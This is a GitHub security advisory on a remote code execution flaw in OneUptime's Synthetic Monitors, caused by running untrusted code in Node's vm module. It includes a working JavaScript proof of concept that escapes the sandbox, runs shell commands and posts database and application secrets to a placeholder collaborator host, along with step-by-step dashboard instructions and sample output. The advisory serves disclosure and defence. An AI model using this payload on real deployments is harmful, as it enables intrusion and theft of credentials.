GHSA-h343-gg57-2q67

### Summary OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. ### Details The root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`: ```typescript const vmPromise = vm.runInContext(script, sandbox, { ... }); ``` The Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. When a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). An attacker can use the payload `const proc = this.constructor.constructor('return process')();` to step out of the sandbox context and grab the host's native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. Since the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server. ### PoC This exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least "Project Member" permissions. 1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default). 2. **Navigate**: Go to **Monitors** > **Create New Monitor**. 3. **Monitor Type**: Select **Synthetic Monitor**. 4. **Browser/Screen Settings**: Ensure **Chromium** is selected for "Browser Types" and **Desktop** is selected for "Screen Size Types". 5. **Payload Injection**: Scroll down to the "Playwright Code" editor. Delete the default template and paste the following malicious JavaScript payload: ```javascript return new Promise((resolve) => { try { // 1. Traverse the prototype chain to grab the host's process object const proc = this.constructor.constructor('return process')(); // 2. Load the host's child_process module & run a system command const cp = proc.mainModule.require('child_process'); const output = cp.execSync('ls -la /usr/src/app').toString(); // 3. (Optional) Read sensitive environment secrets const secret = proc.env.ONEUPTIME_SECRET; const db_pass = proc.env.DATABASE_PASSWORD; // 4. Exfiltrate the data via the native `http` module const http_real = proc.mainModule.require('http'); const req = http_real.request({ hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', port: 80, path: '/', method: 'POST' }, (res) => { resolve("EXFILTRATION_STATUS: " + res.statusCode); }); req.on('error', (e) => resolve("EXFILTRATION_ERROR: " + e.message)); const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass }); req.write(payloadData); req.end(); } catch(e) { resolve("CRITICAL_ERROR: " + e.message); } }); ``` 6. **Save & Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL. OUTPUT: ``` {"rce_output":"total 296\ndrwxr-xr-x 1 root root 4096 Mar 3 18:27 .\ndrwxr-xr-x 1 root root 4096 Mar 3 18:26 ..\n-rw-r--r-- 1 root root 16 Mar 3 18:24 .gitattributes\n-rwxr-xr-x 1 root root 403 Mar 3 18:24 .gitignore\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 API\n-rw-r--r-- 1 root root 4103 Mar 3 18:24 Config.ts\n-rw-r--r-- 1 root root 2602 Mar 3 18:24 Dockerfile\n-rw-r--r-- 1 root root 2705 Mar 3 18:24 Dockerfile.tpl\n-rw-r--r-- 1 root root 2935 Mar 3 18:24 Index.ts\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Jobs\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 Services\ndrwxr-xr-x 4 root root 4096 Mar 3 18:24 Tests\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Utils\ndrwxr-xr-x 3 root root 4096 Mar 3 18:27 build\n-rw-r--r-- 1 root root 889 Mar 3 18:24 jest.config.json\ndrwxr-xr-x 297 root root 12288 Mar 3 18:26 node_modules\n-rw-r--r-- 1 root root 353 Mar 3 18:24 nodemon.json\n-rw-r--r-- 1 root root 203119 Mar 3 18:24 package-lock.json\n-rw-r--r-- 1 root root 1481 Mar 3 18:24 package.json\n-rw-r--r-- 1 root root 11514 Mar 3 18:24 tsconfig.json\n"} ``` <img width="1364" height="470" alt="image" src="https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba" /> ### Impact **What kind of vulnerability is it?** Remote Code Execution (RCE) / Code Injection / Sandbox Escape. **Who is impacted?** Any OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster. ---